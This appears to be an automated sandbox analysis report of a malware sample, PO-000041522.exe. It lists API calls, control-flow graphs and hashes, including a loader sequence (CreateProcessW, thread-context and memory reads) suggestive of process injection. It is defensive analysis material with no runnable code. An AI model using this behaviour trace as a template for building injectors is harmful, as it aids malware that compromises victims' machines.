                                                                                                • Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
                                                                                                • Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                • Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99

                                                                                                Control-flow Graph

                                                                                                APIs
                                                                                                • _fseek.LIBCMT ref: 004525DA
                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                  • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                  • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                • __fread_nolock.LIBCMT ref: 00452618
                                                                                                • __fread_nolock.LIBCMT ref: 00452629
                                                                                                • __fread_nolock.LIBCMT ref: 00452644
                                                                                                • __fread_nolock.LIBCMT ref: 00452661
                                                                                                • _fseek.LIBCMT ref: 0045267D
                                                                                                • _malloc.LIBCMT ref: 00452689
                                                                                                • _malloc.LIBCMT ref: 00452696
                                                                                                • __fread_nolock.LIBCMT ref: 004526A7
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __fread_nolock$_fseek_malloc_wcscpy
                                                                                                • String ID:
                                                                                                • API String ID: 1911931848-0
                                                                                                • Opcode ID: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                                • Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
                                                                                                • Opcode Fuzzy Hash: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                                • Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 228 40f450-40f45c call 425210 231 40f460-40f478 228->231 231->231 232 40f47a-40f4a8 call 413990 call 410f70 231->232 237 40f4b0-40f4d1 call 4151b0 232->237 240 40f531 237->240 241 40f4d3-40f4da 237->241 242 40f536-40f540 240->242 243 40f4dc-40f4de 241->243 244 40f4fd-40f517 call 41557c 241->244 245 40f4e0-40f4e2 243->245 248 40f51c-40f51f 244->248 247 40f4e6-40f4ed 245->247 249 40f521-40f52c 247->249 250 40f4ef-40f4f2 247->250 248->237 253 40f543-40f54e 249->253 254 40f52e-40f52f 249->254 251 42937a-4293a0 call 41557c call 4151b0 250->251 252 40f4f8-40f4fb 250->252 265 4293a5-4293c3 call 4151d0 251->265 252->244 252->245 256 40f550-40f553 253->256 257 40f555-40f560 253->257 254->250 256->250 259 429372 257->259 260 40f566-40f571 257->260 259->251 262 429361-429367 260->262 263 40f577-40f57a 260->263 262->247 264 42936d 262->264 263->250 264->259 265->242
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __fread_nolock_fseek_strcat
                                                                                                • String ID: AU3!$EA06
                                                                                                • API String ID: 3818483258-2658333250
                                                                                                • Opcode ID: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                • Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
                                                                                                • Opcode Fuzzy Hash: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                • Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 268 410130-410142 SHGetMalloc 269 410148-410158 SHGetDesktopFolder 268->269 270 42944f-429459 call 411691 268->270 271 4101d1-4101e0 269->271 272 41015a-410188 call 411691 269->272 271->270 278 4101e6-4101ee 271->278 280 4101c5-4101ce 272->280 281 41018a-4101a1 SHGetPathFromIDListW 272->281 280->271 282 4101a3-4101b1 call 411691 281->282 283 4101b4-4101c0 281->283 282->283 283->280
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcscpy$DesktopFolderFromListMallocPath
                                                                                                • String ID: C:\Users\user\Desktop\PO-000041522.exe
                                                                                                • API String ID: 192938534-1465027593
                                                                                                • Opcode ID: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                • Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
                                                                                                • Opcode Fuzzy Hash: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                • Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 286 3f34630-3f346de call 3f32050 289 3f346e5-3f3470b call 3f35540 CreateFileW 286->289 292 3f34712-3f34722 289->292 293 3f3470d 289->293 301 3f34724 292->301 302 3f34729-3f34743 VirtualAlloc 292->302 294 3f3485d-3f34861 293->294 295 3f348a3-3f348a6 294->295 296 3f34863-3f34867 294->296 298 3f348a9-3f348b0 295->298 299 3f34873-3f34877 296->299 300 3f34869-3f3486c 296->300 303 3f348b2-3f348bd 298->303 304 3f34905-3f3491a 298->304 305 3f34887-3f3488b 299->305 306 3f34879-3f34883 299->306 300->299 301->294 307 3f34745 302->307 308 3f3474a-3f34761 ReadFile 302->308 309 3f348c1-3f348cd 303->309 310 3f348bf 303->310 311 3f3492a-3f34932 304->311 312 3f3491c-3f34927 VirtualFree 304->312 313 3f3489b 305->313 314 3f3488d-3f34897 305->314 306->305 307->294 315 3f34763 308->315 316 3f34768-3f347a8 VirtualAlloc 308->316 319 3f348e1-3f348ed 309->319 320 3f348cf-3f348df 309->320 310->304 312->311 313->295 314->313 315->294 317 3f347aa 316->317 318 3f347af-3f347ca call 3f35790 316->318 317->294 326 3f347d5-3f347df 318->326 323 3f348fa-3f34900 319->323 324 3f348ef-3f348f8 319->324 322 3f34903 320->322 322->298 323->322 324->322 327 3f34812-3f34826 call 3f355a0 326->327 328 3f347e1-3f34810 call 3f35790 326->328 334 3f3482a-3f3482e 327->334 335 3f34828 327->335 328->326 336 3f34830-3f34834 CloseHandle 334->336 337 3f3483a-3f3483e 334->337 335->294 336->337 338 3f34840-3f3484b VirtualFree 337->338 339 3f3484e-3f34857 337->339 338->339 339->289 339->294
                                                                                                APIs
                                                                                                • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 03F34701
                                                                                                • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 03F34927
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1271917961.0000000003F32000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F32000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_3f32000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateFileFreeVirtual
                                                                                                • String ID:
                                                                                                • API String ID: 204039940-0
                                                                                                • Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                                                                                • Instruction ID: edc048a9dbe3072a04cbb0254aacff03ea3be17846d771ba4087faa24d03f09a
                                                                                                • Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                                                                                • Instruction Fuzzy Hash: D9A13774E00209EBDB14CFA5C994BEEBBB5FF49304F248199E515BB280D7759A80CF60

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 340 414f10-414f2c 341 414f4f 340->341 342 414f2e-414f31 340->342 344 414f51-414f55 341->344 342->341 343 414f33-414f35 342->343 345 414f37-414f46 call 417f23 343->345 346 414f56-414f5b 343->346 358 414f47-414f4c call 417ebb 345->358 347 414f6a-414f6d 346->347 348 414f5d-414f68 346->348 351 414f7a-414f7c 347->351 352 414f6f-414f77 call 4131f0 347->352 348->347 350 414f8b-414f9e 348->350 356 414fa0-414fa6 350->356 357 414fa8 350->357 351->345 355 414f7e-414f89 351->355 352->351 355->345 355->350 360 414faf-414fb1 356->360 357->360 358->341 362 4150a1-4150a4 360->362 363 414fb7-414fbe 360->363 362->344 365 414fc0-414fc5 363->365 366 415004-415007 363->366 365->366 369 414fc7 365->369 367 415071-415072 call 41e6b1 366->367 368 415009-41500d 366->368 375 415077-41507b 367->375 371 41500f-415018 368->371 372 41502e-415035 368->372 373 415102 369->373 374 414fcd-414fd1 369->374 376 415023-415028 371->376 377 41501a-415021 371->377 379 415037 372->379 380 415039-41503c 372->380 378 415106-41510f 373->378 381 414fd3 374->381 382 414fd5-414fd8 374->382 375->378 385 415081-415085 375->385 386 41502a-41502c 376->386 377->386 378->344 379->380 387 415042-41504e call 41453a call 41ed9e 380->387 388 4150d5-4150d9 380->388 381->382 383 4150a9-4150af 382->383 384 414fde-414fff call 41ee9b 382->384 393 4150b1-4150bd call 4131f0 383->393 394 4150c0-4150d0 call 417f23 383->394 400 415099-41509b 384->400 385->388 392 415087-415096 385->392 386->380 408 415053-415058 387->408 390 4150eb-4150fd call 417f23 388->390 391 4150db-4150e8 call 4131f0 388->391 390->358 391->390 392->400 393->394 394->358 400->362 400->363 409 415114-415118 408->409 410 41505e-415061 408->410 409->378 410->373 411 415067-41506f 410->411 411->400
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                • String ID:
                                                                                                • API String ID: 3886058894-0
                                                                                                • Opcode ID: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                • Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
                                                                                                • Opcode Fuzzy Hash: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                • Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99

                                                                                                Control-flow Graph

                                                                                                APIs
                                                                                                • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                • _memset.LIBCMT ref: 00401C62
                                                                                                • _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                • _wcscpy.LIBCMT ref: 00401CBD
                                                                                                • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
                                                                                                • String ID: Line:
                                                                                                • API String ID: 1620655955-1585850449
                                                                                                • Opcode ID: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                • Instruction ID: a4e7cf3abc31881c2b93aaae0beefbbd48c64772eea77d32b53e92a0700a02c6
                                                                                                • Opcode Fuzzy Hash: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                • Instruction Fuzzy Hash: 7431D47151C301ABD324EB11DC41BDB77E8AF94314F04493FF989521A1DB78AA49C79B

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 445 4103e0-410461 CreateWindowExW * 2 ShowWindow * 2
                                                                                                APIs
                                                                                                • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                • ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                • ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$CreateShow
                                                                                                • String ID: AutoIt v3$edit
                                                                                                • API String ID: 1584632944-3779509399
                                                                                                • Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                • Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
                                                                                                • Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                • Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 446 3f34400-3f34528 call 3f32050 call 3f342f0 CreateFileW 453 3f3452a 446->453 454 3f3452f-3f3453f 446->454 455 3f345df-3f345e4 453->455 457 3f34541 454->457 458 3f34546-3f34560 VirtualAlloc 454->458 457->455 459 3f34562 458->459 460 3f34564-3f3457b ReadFile 458->460 459->455 461 3f3457f-3f345b9 call 3f34330 call 3f332f0 460->461 462 3f3457d 460->462 467 3f345d5-3f345dd ExitProcess 461->467 468 3f345bb-3f345d0 call 3f34380 461->468 462->455 467->455 468->467
                                                                                                APIs
                                                                                                  • Part of subcall function 03F342F0: Sleep.KERNELBASE(000001F4), ref: 03F34301
                                                                                                • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 03F3451E
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1271917961.0000000003F32000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F32000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_3f32000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateFileSleep
                                                                                                • String ID: QPUK2QRWDA0FX
                                                                                                • API String ID: 2694422964-3708400018
                                                                                                • Opcode ID: 091eeb81169be909d8d8dd2547428e596dd0014172fcd96541320fdd21c16e89
                                                                                                • Instruction ID: 5b2d0d7faa513eb3ba121e41e01a50b14bd168a9e16f553a81ccbee08767ff96
                                                                                                • Opcode Fuzzy Hash: 091eeb81169be909d8d8dd2547428e596dd0014172fcd96541320fdd21c16e89
                                                                                                • Instruction Fuzzy Hash: C4519031D14249EBEF10DBE4D855BEEBB79AF09300F004199E609BB2C0DB794B45CBA5

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 470 413a88-413a99 call 41718c 473 413b10-413b15 call 4171d1 470->473 474 413a9b-413aa2 470->474 476 413aa4-413abc call 418407 call 419f6d 474->476 477 413ae7 474->477 488 413ac7-413ad7 call 413ade 476->488 489 413abe-413ac6 call 419f9d 476->489 480 413ae8-413af8 RtlFreeHeap 477->480 480->473 482 413afa-413b0f call 417f23 GetLastError call 417ee1 480->482 482->473 488->473 495 413ad9-413adc 488->495 489->488 495->480
                                                                                                APIs
                                                                                                • __lock.LIBCMT ref: 00413AA6
                                                                                                  • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                                                                                  • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                                                                                  • Part of subcall function 00418407: EnterCriticalSection.KERNEL32(?,?,?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001), ref: 00418431
                                                                                                • ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                • ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                • RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                • GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                                                • String ID:
                                                                                                • API String ID: 2714421763-0
                                                                                                • Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                • Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
                                                                                                • Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                • Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C
                                                                                                APIs
                                                                                                  • Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
                                                                                                  • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                                                                                  • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                                                                                                • _strcat.LIBCMT ref: 0040F603
                                                                                                  • Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8
                                                                                                  • Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
                                                                                                • String ID: HH
                                                                                                • API String ID: 1194219731-2761332787
                                                                                                • Opcode ID: 6830d432ce0edc537904fcc81a92ccb4243d6e1eaca554fb6fd30da9042373f9
                                                                                                • Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
                                                                                                • Opcode Fuzzy Hash: 6830d432ce0edc537904fcc81a92ccb4243d6e1eaca554fb6fd30da9042373f9
                                                                                                • Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A
                                                                                                APIs
                                                                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 03F33AAB
                                                                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03F33B41
                                                                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03F33B63
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1271917961.0000000003F32000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F32000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_3f32000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                • String ID:
                                                                                                • API String ID: 2438371351-0
                                                                                                • Opcode ID: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
                                                                                                • Instruction ID: 1eefb4d5c08f02b3661a1a6d63660ef3fa441f4efb6993f6ed8c9e91b7a8d2d6
                                                                                                • Opcode Fuzzy Hash: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
                                                                                                • Instruction Fuzzy Hash: 0F621B34A14258DBEB24CFA4C850BEEB376EF59300F1091A9D10DEB390E7799E85CB59
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 0040E202
                                                                                                • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: IconNotifyShell__memset
                                                                                                • String ID:
                                                                                                • API String ID: 928536360-0
                                                                                                • Opcode ID: 27b28fb85d639681eb8fd2a3c2bcd9dc0bb82ef5f5c365fc5a47124cd6911170
                                                                                                • Instruction ID: 9c6d99eda8392314e00a4319cd3b9f491a6d528882fc0aac3328a2d60ab56ec1
                                                                                                • Opcode Fuzzy Hash: 27b28fb85d639681eb8fd2a3c2bcd9dc0bb82ef5f5c365fc5a47124cd6911170
                                                                                                • Instruction Fuzzy Hash: FC318170608701DFD320DF25D845B97BBF8BB45304F00486EE99A93380E778A958CF5A
                                                                                                APIs
                                                                                                • _malloc.LIBCMT ref: 00411734
                                                                                                  • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                  • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                  • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                • std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                  • Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC
                                                                                                • std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                • __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
